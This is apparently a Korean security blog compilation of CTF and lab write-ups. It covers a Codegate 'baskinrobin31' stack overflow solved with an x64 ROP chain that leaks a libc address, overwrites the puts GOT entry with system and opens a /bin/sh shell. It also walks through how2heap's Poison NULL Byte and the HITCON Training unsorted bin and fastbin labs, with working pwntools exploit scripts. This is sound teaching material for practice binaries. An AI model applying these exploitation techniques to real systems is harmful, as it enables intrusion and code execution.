1. 시작하기전에...


한동안 바빠서 블로그 업데이트를 통..하지못했었는데, 새해도 되었으니 다시 시작해보려고합니다.

원래는 how2heap을 계속 올려야하는데, 지난 코드게이트 문제들을 리뷰해볼 기회가 생겨서 작년 문제 중 하나를 선정하였습니다.



2. 정적 분석


file 명령어 실행 결과 바이너리가 x64, dynamaically linked임을 알 수 있습니다.



checksec를 통해 Mitigation을 확인해보니 카나리도 없고, pie도 안걸려있습니다. Patial RELRO라 GOT도 덮어쓸 수 있습니다.


바이너리를 실행하면 술자리 게임 베스킨라빈스 31이 시작됩니다. 각 턴마다 1~3의 숫자를 입력받고, 남은 숫자가 표시됩니다. 



IDA로 디컴파일해보겠습니다.


main()


- 실행화면에서 봤던 문구들("### ~~ ###")들을 출력하고 남은 숫자(remain_val)가 0보다 클때 반복문을 실행합니다.

- 반복문 안에서 your_turn()함수가 제대로 끝났는 지 검사하는 is_your_turn_done의 값으로 분기를 실행합니다.

- my_turn()은 프로그램이 턴을 수행하는 기능이 구현되어있습니다.

- your_turn()은 유저의 입력으로 턴을 수행하는 기능이 구현되어있습니다.

- 유저가 이겼을 경우를 의미하는 것같은 분기문에서 힌트가 ROP라고 알려주고있습니다.



your_turn()


- 남은 수를 의미하는 remain_val의 포인터를 함수의 인자로 입력받습니다.

- 유저로부터 입력받은 숫자를 저장하는 변수가 150byte로 되어있습니다.

- 하지만 입력은 400byte까지 받을 수 있습니다. -> 스택 버퍼오버플로우가 발생하게됩니다.



helper()

디컴파일 후 함수목록을 잘 보면 helper()함수가 있습니다. hex ray로는 볼수 없고, 어셈코드만 볼 수 있습니다.

어셈코드를 보면 스택프레임 코드를 제외하면 pop rdi, pop rsi, pop rdx 코드 밖에 없습니다.


pop rdi, pop rsi, pop rdx, retn 가젯은 x64 rop에서 pppr로 사용하는 꼭 필요한 가젯입니다.

x64 함수 호출 규약은 x86 함수 호출 규약과 다르기때문에 rop 코드도 다른 부분이 있습니다.


x64 함수 호출 규약에 관한 자세한 내용은 아래 링크를 참조하세요.

링크 : https://kkamagui.tistory.com/811


2. 동적 분석

바이너리 실행 중 your_turn() 함수에서 "a" * 8을 입력한 다음 스택을 보겠습니다.


입력 값을 저장하는 버퍼의 주소는 0x7ffffffdb90부터 시작하고, 리턴 주소가 저장 된 주소는 0x7ffffffdc48에 저장되어있습니다.


따라서 버퍼 주소 - 리턴 주소가 저장된 주소는 0xb8(184)이고, 카나리가 존재하지 않기때문에 0xb8개의 dummy이 후 rop코드를 시작하면 됩니다.

 

3. exploit

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98


from pwn import *

p = process('./baskinrobin31')

e = ELF('./baskinrobin31')

libc = ELF("./libc.so.6")

context.log_level = 'debug'

def launch_gdb(p):

   context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

   gdb.attach(proc.pidof(p)[0])

#find plt & got address

log.info("found address of read plt : %s" % hex(e.plt["read"]))

read_plt = e.plt["read"]

log.info("found address of write plt : %s" % hex(e.plt["write"]))

write_plt = e.plt["write"]

log.info("found address of puts plt : %s" % hex(e.plt["puts"]))

puts_plt = e.plt["puts"]

log.info("found address of puts got : %s" % hex(e.got["puts"]))

puts_got = e.got["puts"]

#real address of read func - real address of system func

puts_system_offset = libc.symbols['puts'] - libc.symbols['system']

'''

21 .dynamic      000001d0 0000000000601e28  0000000000601e28 00001e28 2**3

24 .data         00000010 0000000000602078  0000000000602078 00002078 2**3

25 .bss          00000020 0000000000602090  0000000000602090 00002088 2**4

'''

#binsh addr

binsh_addr = 0x602090 + 0x10

binsh = "/bin/sh"

log.info("puts to system offset : %s" % hex(puts_system_offset))

#0x0040087a: pop rdi ; pop rsi ; pop rdx ; ret  ; (1 found)

pppr = 0x0040087a

call_your_turn = 0x400AE5

p.recvuntil("How many numbers do you want to take ? (1-3)\n")

#leak puts got

payload  = "a"*184

payload += p64(pppr)

payload += p64(1)

payload += p64(puts_got)

payload += p64(len(str(puts_got)))

payload += p64(write_plt)

#call your turn again

payload += p64(call_your_turn)  

#

payload2 = "a"*184

payload2 += p64(pppr)

payload2 += p64(0)

payload2 += p64(puts_got)

payload2 += p64(0x8)

payload2 += p64(read_plt)

payload2 += p64(pppr)

payload2 += p64(0)

payload2 += p64(binsh_addr)

payload2 += p64(len(str(binsh)))

payload2 += p64(read_plt)

payload2 += p64(pppr)

payload2 += p64(binsh_addr)

payload2 += p64(1)

payload2 += p64(1)

payload2 += p64(puts_plt)

p.sendline(payload)

d = p.recvuntil("Don't break the rules...:(")

p.recv(2)

puts = p.recv(7) + "\x00"

puts = u64(puts)

p.sendline(payload2)

log.info("puts = 0x%x" % puts)

system_addr = puts - puts_system_offset

log.info("system = 0x%x" % system_addr)

p.recvuntil("How many numbers do you want to take ? (1-3)\n")

p.send(p64(system_addr))

p.sendline(binsh)

p.interactive()

Colored by Color Scripter

cs


exploit 코드의 내용 개요는 다음과 같습니다.


사전과정

1. 호출하고 싶은 함수들의 plt 찾기(read, write, puts)

2. got를 덮을 함수의 got 찾기(puts)

3. 필요한 가젯과 오프셋 찾기(pppr, binsh_addr, puts_system_offset, call_your_turn)


ROP payload

1. read()함수를 호출하여 puts got에 있는 값을 알아내기

2. your_turn()를 호출해서 puts의 got에 system함수 got주소 쓰기

3. "/bin/sh"문자열 쓰기

4. puts호출해서 system함수 실행시키기


x64 ROP

앞서 말씀드린바와 같이 x64의 함수 호출 규약은 x86과 달라서 rop코드의 구성이 조금 다릅니다.

x64 리눅스에서 함수에 파라미터를 전달할 때, RDI, RSI, RDX, RCX, R8, R9의 순으로 전달하며 이 이상은 x86과 동일하게

스택을 이용해서 전달합니다.


따라서 x64에서 파라미터에 값을 전달하기 위해 pppr을 먼저 호출해서 함수 호출 전 파라미터를 세팅해야합니다.


코드 설명

13 ~ 24라인은 pwntools의 기능을 이용해 바이너리에서 사용하는 libc 함수들의 plt와 got를 구합니다.


27라인에서는 pwntools를 이용해 libc에 있는 puts와 system의 symbol offset을 계산합니다. 여기서 계산한 offset을 이용해

나중에 puts의 got에 써져있는 주소로 system의 주소를 계산할 수 있습니다.


50 ~ 56라인은 puts의 got에 써있는 주소를 릭하기 위한 payload입니다. 

59라인에서 다시 your_turn()함수를 호출하여 입력을 받을 수 있도록합니다.


62 ~ 67라인에서는 계산한 system의 주소를 puts의 got에 덮어쓰도록 합니다.


69 ~ 73라인에서는 bss영역 중 선정한 공간에 "/bin/sh"문자열을 저장합니다.


75 ~ 79라인에서 system함수를 호출하여 exploit을 완성합니다.


83 ~ 86라인은 50 ~ 56라인에서 릭한 puts의 got에 써있는 주소를 저장합니다.

90 ~ 92라인은 앞서 계산한 offset을 이용해 system함수의 실제 주소를 계산합니다.


95라인은  62 ~ 67라인에서 puts의 got에 덮어쓸 system의 주소를 전송합니다.

96라인은 69 ~ 73라인에서 "/bin/sh"문자열을 저장할 수 있도록 문자열을 전송합니다.


4. exploit 결과


1. 시작하기전에...

오늘부터는 how2heap 시리즈에 소개되어 있는 취약점들을 살펴보려고합니다. how2heap은 heap관련 취약점들의 원리를 소스코드와 

주석으로 설명해 놓은 프로젝트입니다.


[참조] https://github.com/shellphish/how2heap


전에 포스팅 했던 HITCON Training의 lab12와 lab14에서 다룬적이 있는 fastbin attack과 unsorted bin attack을 제외한 나머지를 다룰 예정이고,

이번 포스팅과 앞으로 소개 될 취약점들은 아래의 사이트를 참조하려고 합니다.


[참조] https://www.lazenca.net/display/TEC/Heap+Exploitation

[참조] https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/


2. Poison NULL Byte

Poison NULL Byte는 Off-by-one error에 기본을 둔 heap 관련 취약점입니다.

이 취약점을 간단히 설명하면 이미 할당된 heap을 새로 할당받는 heap공간에 포함시켜 할당받아 새로운 값으로 덮을 수 있는 취약점 입니다.


2.1 조건

 - 공격자에 의해 다음과 같은 Heap 영역을 할당, 해제 할 수 있어야 합니다.

- 0x200 이상의 heap 영역 : 공격 대상 heap영역

- Fast bin 이상의 Heap 영역(Heap size : 0x80이상) : 공격 대상 영역에 할당 Heap 영역


 - 공격자에 의해 Free chunk의 size영역에 1byte를 NULL로 변경 할 수 있어야 합니다.

 - 공격자에 의해 Free chunk의 size보다 작은 heap영역을 2개 할당 할 수 있어야합니다.

- Fast chunk는 사용할 수 없습니다.


[참조] https://www.lazenca.net/display/TEC/Poison+null+byte


2.2 Off-by-one

Poison NULL Byte에 사용되는 Off-by-one에 대해 간단히 알고 넘어가도록 하겠습니다.

Off-by-one error는 버퍼 크기의 경계 검사를 잘 못해서 한 바이트를 더 쓸 수 있게 되는 취약점입니다.


[참조]https://en.wikipedia.org/wiki/Off-by-one_error


예시로 다음의 코드를 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
 
int main(int argc,char *argv[])
{
    char buf[1024];
    
    if(strlen(argv[1]) > 1024) {
        printf("BOF is occured\n");
        return -1;
    }
    
    strcpy(buf, argv[1]);
    printf("buf = %s\n", buf);    
 
    return 0;
}



위 코드에서는 1024바이트 크기를 갖는 buf변수가 존재하고 있습니다. 프로그램에 인자를 넣고 실행하면 인자를 이 buf에 복사하고 출력해줍니다.

단, 인자의 길이가 1024보다 크다면 BOF is occured를 출력하지요. 


언뜻 보기에는 BOF가 발생하지 않을 것으로 보이지만 여기서 Off-by-one 이 발생합니다.

strlen()함수는 문자열 길이를 리턴해 줄 때 NULL바이트를 제외하여 리턴해줍니다. 따라서, 정확히 인자의 크기가 1024만큼의 문자열이 전달 되는 경우

BOF검사 분기를 넘어서 복사과정을 거치는데, 실제 buf에 복사되는 값의 길이는 1024 + NULL이 되어 1025바이트를 쓸 수 있게 됩니다.


이처럼 잘못된 크기 검사로 인해 한 바이트를 더 쓸 수 있게 되는 취약점이 Off-by-one 입니다.

해당 취약점과 관련해 자세하게 설명된 블로그가 있어 아래 참조 링크 드립니다.


[참조] http://s0ngsari.tistory.com/entry/Offbyone



2.3 how2heap - Poison NULL Byte

본격적으로 how2heap에 소개되어 있는 Poison NULL Byte의 코드를 가지고 살펴보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1; 
    uint8_t* b2; 
    uint8_t* d;
 
    fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");
    a = (uint8_t*malloc(0x100);
    fprintf(stderr, "a: %p\n", a); 
    int real_a_size = malloc_usable_size(a);
    fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' "
        "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);
 
    /* chunk size attribute cannot have a least significant byte with a value of 0x00.
     * the least significant byte of this will be 0x10, because the size of the chunk includes
     * the amount requested plus some amount required for the metadata. */
    b = (uint8_t*malloc(0x200);
 
    fprintf(stderr, "b: %p\n", b); 
 
    c = (uint8_t*malloc(0x100);
    fprintf(stderr, "c: %p\n", c); 
 
    uint64_t* b_size_ptr = (uint64_t*)(b - 8); 
 



소스코드가 길어 부분 부분 잘라서 설명하겠습니다.

최초에 변수 a, b, c, b1, b2, d가 선언 되어 있는데 이 변수들은 Poison NULL Byte를 실행하기 위해 필요한 heap 변수들입니다.

각 변수들의 용도는 아래와 같습니다.


변수명 

용도 

Off-by-one을 사용할 수 있게 해줌 

Poison NULL Byte가 이루어지는 공간 

Poison NULL Byte로 인해 병합되는 heap 

Poison NULL Byte의 결과로 할당 받는 heap 

b1 

b해제 후 b공간에서 쪼개져 할당받는 heap 

b2 

b해제 후 b공간에서 쪼개져 할당받는 heap

Poison NULL Byte의 Victim


뒤에 진행되는 사항들을 보면서 헷갈릴 수 있는데 표에 소개된 내용을 생각하시면서 보면 조금 더 수월하게 보실 수 있을 것 같습니다.

위의 코드 내용을 정리해보자면 a에 0x100, b에 0x200, c에 0x100만큼 메모리를 할당 했습니다.


그리고 추가로 살펴봐야할 것은 11, 12라인인데요

malloc_usable_size()함수를 통해 메모리를 할당 받은 a에 실제로 사용할 수 있는 크기를 알아보고 있습니다. 라운딩때문에 0x100보다 클 것이라고 이야기 하면서요.



실제로 확인해 보니 a의 usable size는 0x108인 것을 알 수 있습니다. 


※ 위의 실행 결과로 보여드린 주소와는 다르지만 짧게 예시를 든 주소이니, 신경쓰시지 않아도 됩니다.


위 그림처럼 a는 코드에서 의도한 size보다 8바이트 더 큰 값을 사용할 수 있는 상태가 될 것입니다. 그리고 이 8바이트는 b의 prev_size영역이 됩니다.

여기서 한 바이트를 더 쓴다면 b의 chunk size에 영향을 줄 수 있는 상태가 되겠지요. 일단 여기까지만 생각하시고 다음으로 넘어가 보도록 하겠습니다.


  

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    uint64_t* b_size_ptr = (uint64_t*)(b - 8); 
 
 
    fprintf(stderr, "In newer versions of glibc we will need to have our updated size inside b itself to pass "
        "the check 'chunksize(P) != prev_size (next_chunk(P))'\n");
    // we set this location to 0x200 since 0x200 == (0x211 & 0xff00)
    // which is the value of b.size after its first byte has been overwritten with a NULL byte
    *(size_t*)(b+0x1f0= 0x200;
 
    // this technique works by overwriting the size metadata of a free chunk
    free(b);
    
    fprintf(stderr, "b.size: %#lx\n"*b_size_ptr);
    fprintf(stderr, "b.size is: (0x200 + 0x10) | prev_in_use\n");
    fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
    a[real_a_size] = 0// <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "b.size: %#lx\n"*b_size_ptr);
 
    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);



여기서부터가 중요한데요, Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 합니다. 그런데 문제가 glibc에서

chunksize(P)가 prev_size(next_chunk(P))가 같은 지를 비교한다고 하네요.


b의 next_chunk의 주소는 어떻게 계산되는 지 살펴보겠습니다.


Poison NULL Byte공격을 고려하지 않았을 때

0x7120(address of b data area) - 0x10(header size) + 0x210(size of b) = 0x7320 (address of c)


c의 주소가 정확히 계산되어 나옵니다. 그리곤 c의 prev_size와 b의 chunk size필드를 비교해서 일치하는 지를 비교한다는 이야기입니다.


Poison NULL Byte를 위해 b의 chunk size를 0x200으로 만들어 주어야 한다면 거기에 대응하는 주소공간에 가상으로 prev_size인 것처럼 0x200

써주어야합니다.


0x7120(address of b data area) - 0x10(header size) + 0x200(size of fake b) = 0x7310 (address of fake chunk)

이런 이유로 b의 주소에 0x1f0을 더한 값인 0x7310에 0x200을 써주었습니다.


그 다음에 b를 해제했습니다. 그리고 Off-by-one 취약점을 이용해 a[real_size] => a[0x108]에 한 바이트를 0(NULL)로 써주었습니다.

그럼 b의 chunk size는 0x211 에서 한 바이트가 0으로 바뀌었으니, 0x200으로 바뀌게 됩니다.



c의 prev_size는 건드리지 않았으니, 0x211에서 INUSE flag만 0으로 바뀌어 0x210이 된 모습입니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
        *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);
 
    fprintf(stderr, "b1: %p\n",b1);
    fprintf(stderr, "Now we malloc 'b1'. It will be placed where 'b' was. "
        "At this point c.prev_size should have been updated, but it was not: %lx\n",*c_prev_size_ptr);
    fprintf(stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
        "before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
    fprintf(stderr, "We malloc 'b2', our 'victim' chunk.\n");
    // Typically b2 (the victim) will be a structure with valuable pointers that we want to control
 
    b2 = malloc(0x80);
    fprintf(stderr, "b2: %p\n",b2);
 
    memset(b2,'B',0x80);
    fprintf(stderr, "Current b2 content:\n%s\n",b2);



위에서 이야기한 chunksize(P)와 prev_size(next_chunk(P))가 같은 지를 검사하는 부분에서 에러 없이 통과를 하였습니다.

이후 새로 b1을 할당 0x100만큼 할당 받았습니다.


b1은 b의 시작부분에서부터 할당을 받았습니다. b1을 할당 받은 후 c의 prev_size를 찍어보면 b1에 해당하는 값으로 업데이트가 이루어져야 하지만 이루어지지 않습니다. 그 대신에 우리가 전에 만들었던 fake chunk의 prev_size가 업데이트 된 것을 알 수 있습니다.



이 상태에서 victim chunk인 b2를 0x80만큼 할당 합니다. 그리고 내용을 b로 채워주었습니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
 
free(b1);
free(c);
 
fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
= malloc(0x300);
fprintf(stderr, "d: %p\n",d);
 
fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
memset(d,'D',0x300);
 
fprintf(stderr, "New b2 content:\n%s\n",b2);



이제 사전 준비는 다 끝났습니다. b1, c의 차례로 free를 하면 b1과 c의 병합이 일어나게 됩니다. 이때, b1과 c1의 사이에 있는 b2의 존재는 잊어버리고 

병합이루어 집니다.


그 이유는 c의 해제가 이루어질 당시 c의 prev_size는 0x210이니, 이전의 메모리가 사용되고 있지 않은 중으로 OS가 판단합니다.(INUSE flag == 0)

때문에 이전의 chunk (prev chunk)와 병합이루어 지게 되죠.

 

c의 prev chunk의 주소를 알아내는 방법은 아래와 같습니다.


0x7320(address of c) - 0x210(prev_size) = 0x7110 


0x7110 부터 c에 해당하는 chunk까지 모두 병합이 이루어지게 되는 것입니다. (이 사이에 b2가 존재하죠)

이렇게 병합된 chunk는 0x300의 메모리 할당 요청에 반환됩니다. 이로써 b2의 내용을 수정할 수 있게 된 것입니다.




소개 된 예제에서는 단순히 변수의 값을 바꾸는 것만으로 소개가 되었는데, b2의 공간이 구조체이고 그 안에 함수포인터가 저장되어있다는 가정이라면

더 멋진 결과도 나올 수 있을 것이라고 생각합니다.


1. 시작하기전에...

벌써 HITCONT Training의 짝수 마지막 번호 lab14가 되었습니다. lab14는 지난 번 포스팅에서 다루었던 lab12였던 fastbin attack에 이어 

unsorted bin attack을 이용한 문제입니다.


unsorted bin attack에서는 free Chunk(해제된 메모리 영역)에서 bk를 덮어 써 메모리 할당 공간을 컨트롤 한다는 것이 핵심입니다.


1-1. Free Chunk

한번 봤던 구조지만 한번 더 확인해 보도록 하겠습니다. 


Free Chunk의 상위 두 필드는 prev_size와 헤더의 크기를 포함한 자신의 크기를 나타냅니다.


fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않았습니다.


하지만 오늘 다룰 unsorted bin에서는 double linked list로 fd와 bk 필드가 모두 사용됩니다.


1
2
3
4
5
6
7
char *= malloc(0x80);
char *= malloc(0x80);
char *= malloc(0x80);
 
free(a);
free(b);
free(c);



위와 같은 코드가 있을 때, unsorted bin은 first fit에 의해 아래와 같은 형태가 됩니다.


  1. head -> c <-> b<-> a -> tail

이 상태에서 각 free chunk에 fd / bk는 이렇게 기록됩니다.


a 의 bk : b의 주소


b의 fd : a의 주소

b의 bk : c의 주소


c의 fd : b의 주소


생각같아서는 a의 fd에 tail의 주소, c의 fd에는 head의 주소 이렇게 저장될 것 같았는데 직접 확인해 보니 알수 없는 값이 메우고 있었습니다. 

무슨 값인 지는 잘 모르겠습니다만, 확실한 건 Tail쪽이 fd이고 Head쪽이 bk이며 Head방향에 있는 chunk부터 검사하여 적합한 사이즈라면 메모리가 할당 됩니다.


그러므로 이때 bk를 조작할 수 있다면, 다음에 할당되는 메모리의 주소를 조작할 수 있다는 점을 이용합니다.



2. C소스

magicheap.c 의 코드 중 중요한 부분만 몇 군데 보겠습니다.


2-1. create_heap()

1. 프로그램 내에서 할당된 heap을 관리하는 전역변수 heaparray가 있습니다. 그 배열에 빈곳을 찾습니다.

2. 사이즈를 입력받아 해당 크기만큼 메모리를 할당합니다.

3. heap의 내용을 입력받아 저장합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void create_heap(){
    int i ;
    char buf[8];
    size_t size = 0;
    for(i = 0 ; i < 10 ; i++){
        if(!heaparray[i]){
            printf("Size of Heap : ");
            read(0,buf,8);
            size = atoi(buf);
            heaparray[i] = (char *)malloc(size);
            if(!heaparray[i]){
                puts("Allocate Error");
                exit(2);
            }
            printf("Content of heap:");
            read_input(heaparray[i],size);
            puts("SuccessFul");
            break ;
        }
    }   
}



2-2. edit_heap()

1. index를 입력받고 index의 유효성 검사를 합니다.

2. index가 유효한 경우 해당 heap이 heaparray에 존재하는지 확인합니다.

3. 존재하는 경우 해당 heap의 사이즈를 입력받고 사이즈만큼 메모리를 수정합니다.

4. heap의 내용을 수정합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void edit_heap(){
    int idx ;
    char buf[4];
    size_t size ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        printf("Size of Heap : ");
        read(0,buf,8);
        size = atoi(buf);
        printf("Content of heap : ");
        read_input(heaparray[idx] ,size);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}



2-3. delete_heap()

1. index를 입력받아 index의 유효성 검사를 합니다.

2. index가 유효한 경우 해당 heap이 리스트에 존재하는지 확인 합니다.

3. 존재하는 경우 해당 heap을 메모리 해제 합니다.

4. heaparray에 저장되어 있는 포인터를 NULL로 만들어 줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void delete_heap(){
    int idx ;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]);
        heaparray[idx] = NULL ;
        puts("Done !");
    }else{
        puts("No such heap !");
    }
 
}



delete_heap에서 메모리 해제 후 배열에 저장되어있는 heap의 포인터를 NULL로 만들어줌으로써, fastbin attack은 가능하지 않습니다. 

3. exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
 
= process('./magicheap')
 
def create_heap(length,contents):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(": ")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(contents)
 
def edit_heap(length, idx, contents):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(": ")
    r.sendline(str(length))
    r.recvuntil(": ")
    r.sendline(contents)
 
def delete_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
    
magic = 0x00000000006020c0
fake_chunk = magic - 0x10
 
create_heap(0x80,"tulip")
create_heap(0x20,"sunflower")
create_heap(0x80,"rose")
create_heap(0x20,"tulip")
delete_heap(2)
delete_heap(0)
 
#alloc size = 0x20(idx:1 chunk size) + 0x10(idx:2 header) + 0x10(idx:2 fd, bk)
edit_heap(0x20+0x10+0x101"a"*0x20 + p64(0)+p64(144)+ p64(0)+ p64(fake_chunk))
create_heap(0x80,"5000")
r.sendline("4869")
log.info(r.recv(0x500))
log.info(r.recv(0x100))



exploit코드의 목적은 할당 메모리의 공간을 전역변수 magic으로 만들어 magic의 값을 5000으로 만드는 것입니다.
위에 설명한 코드에 main의 내용은 빠져있지만, 이 전역변수 magic의 값이 4869보다 큰 값이면 문제가 풀리게 되어있습니다.

exploit 코드의 과정은 아래와 같습니다.
1. 0x80, 0x20, 0x80, 0x20 의 크기로 메모리를 할당합니다.
 =>중간에 0x20사이즈를 섞은 것은 하위에 존재하는 free chunk의 bk를 덮기 위해 할당한 메모리입니다.
 => 마지막에 존재하는 0x20사이즈의 chunk를 할당한 것은 이유를 모르겠습니다. 다만, 없으면 정상적으로 exploit이 되지 않네요..
      마지막에 chunk를 할당한 것과 할당하지 않은 것의 메모리를 비교한 화면입니다.


0x603000이 처음으로 할당한 0x80 chunk이고, 0x603090이 두 번째로 할당한 0x20 chunk, 0x6030c0가 세 번째로 할당한 0x80 chunk입니다.

그리고 마지막으로 할당한 0x20 chunk는 0x603150에 위치하고 있습니다.


저 화면은 메모리할당 한 후 39라인까지 실행한 결과(free 2번 실행) 인데, 처음으로 할당한 chunk의 fd가 세 번째 chunk를 가르키고 있고

세 번째 chunk의 bk가 첫 번째로 할당한 chunk를 가르키고 있는 것을 확인할 수 있습니다.



이 화면은 동일한 로직을 마지막 chunk없이 실행한 결과 입니다. fd와 bk가 우리가 예상한 것과는 다른 모습을 하고 있습니다. 서로를 가르키고 있지 않은 모습입니다. 마지막으로 할당 했던 메모리가 어떤 역할을 하는지는 아직 잘 모르지만.. 존재해야지만 0x80 chunk들이 정상적으로 unsorted bin list에 속하는 것으로 보입니다.


2. index 2, 0의 순으로 메모리 해제를 합니다. 

위와 같은 구조에서 우리가 덮어쓸 수 있는 메모리는 두 번째 chunk를 수정하여 세 번째 chunk를 덮어 쓸 수 있습니다. 수정 메모리 크기를 검사하지 않는 탓이기도 하지요. 


세 번째 메모리의 bk는 첫 번째 메모리를 가르키고 있고, 이 주소를 우리가 원하는 magic의 주소로(실제로는 magic의 주소에서 헤더크기(0x10) 만큼 빼준 값)으로 덮어써 magic의 값을 변경할 것입니다.


3. 두 번째 메모리의 데이터 size는 0x20입니다. 그리고 세 번째 메모리의 헤더 사이즈는 0x10, 우리가 덮어쓸 fd와 bk는 각각 0x8이고 

따라서 0x40만큼 덮어 써야 원하는 대로 bk를 완전히 덮어쓸 수 있습니다.


42라인에서 0x40만큼 크기를 입력해주었고, a를 0x20개 만큼 채웠습니다. 그리고 prev_size를 0으로, 현재 chunk사이즈는 본래의 값인 0x90인 144로 채웠습니다. 그리고 fd 값은 0으로 채웠고, bk부분에 우리가 원하는 값인 magic - 0x10 값으로 채워주었습니다.

 

4. 그 이후 새로운 chunk를 요청하여 magic에 값을 써준 후 4869를 입력하여 마무리 되었습니다.






끗!



1. 시작하기전에...

저번 포스팅(http://bachs.tistory.com/entry/HITCON-Training-lab12-Fastbin-Attack?category=961837)에 이어 fastbin attack에 대해 포스팅 하려고합니다.

이번 글에서는 HITCON Training lab12를 풀어보겠습니다.



2. 분석

문제에서 주어진 소스코드 secretgarden.c 를 살펴보겠습니다. 소스코드가 길어 필요한 부분만 분석하겠습니다.(환경은 64bit 입니다.)


1
2
3
4
5
6
7
8
9
struct flower{
    int vaild ;             //8byte
    char *name ;            //8byte
    char color[24] ;        //24byte
};
                            //40byte
 
struct flower* flowerlist[100];    //list of flowers
unsigned int flowercount = 0;     //count of flowers 



먼저 flower 구조체가 있습니다. flower구조체는 꽃(flower구조체)의 유효성을 검증해주는 valid 변수가 있고, 꽃의 이름을 입력받는 변수 name이 있습니다.

마지막으로 꽃의 색을 저장하는 24바이트짜리 char 배열 color 변수를 멤버로합니다. 이 구조체의 총 크기는 40바이트입니다.


전역변수로는 전체 꽃의 개 수를 세기 위한 flowercount가 있고, 꽃들을 관리할 수 있는 flower * 배열이 있습니다.


다음은 함수들을 살펴보도록 하겠습니다. 모든 함수를 다루기엔 내용이 너무 많아, 취약점이 발생 할 수 있는 함수인 add()와 del()만 살펴보겠습니다.


int add()

=> add함수의 동작은 아래와 같습니다.  

전역변수 flowercount가 100보다 크면 "The garden is overflow" 출력합니다.

flowercount가 100보다 작으면

- 추가 할 flower구조체에 메모리를 할당하고 초기화 합니다.

flower name 의 크기를 입력 받은 후 크기만큼 buf 메모리를 할당합니다.

- flower name을 입력받아 buf에 저장합니다.

- flower 구조체 name 멤버변수에 buf 포인터를 대입합니다.

- flower 구조체 color 멤버변수에 입력 받습니다.

- flower 구조체 valid 변수 1로 setting합니다.

- 전역변수 flowerlist를 검색하여 비어있는 곳에 생성한 flower 를 추가합니다.

- 전역변수 flowercount를 1 증가시킨 후, "Successful !" 출력합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int add(){
    struct flower *newflower = NULL ;
    char *buf = NULL ;
    unsigned size =0;
    unsigned index ;
    if(flowercount < 100){
        newflower = malloc(sizeof(struct flower));
        memset(newflower,0,sizeof(struct flower));
        printf("Length of the name :");
        if(scanf("%u",&size)== EOF) exit(-1);
        buf = (char*)malloc(size);
        if(!buf){
            puts("Alloca error !!");
            exit(-1);
        }
        printf("The name of flower :");
        read(0,buf,size);
        newflower->name = buf ;
        printf("The color of the flower :");
        scanf("%23s",newflower->color);
        newflower->vaild = 1 ;
        for(index = 0 ; index < 100 ; index++ ){
            if(!flowerlist[index]){
                flowerlist[index] = newflower ;
                break ;
            }
        }
        flowercount++ ;
        puts("Successful !");
    }else{
        puts("The garden is overflow");
    }
}



int del()

flowercount가 0이면 "No flower in the garden" 출력합니다.

flowercount가 0이 아니면 "Which flower do you want to remove from the garden:" 를 출력 한 후 지울 index를 입력받습니다.

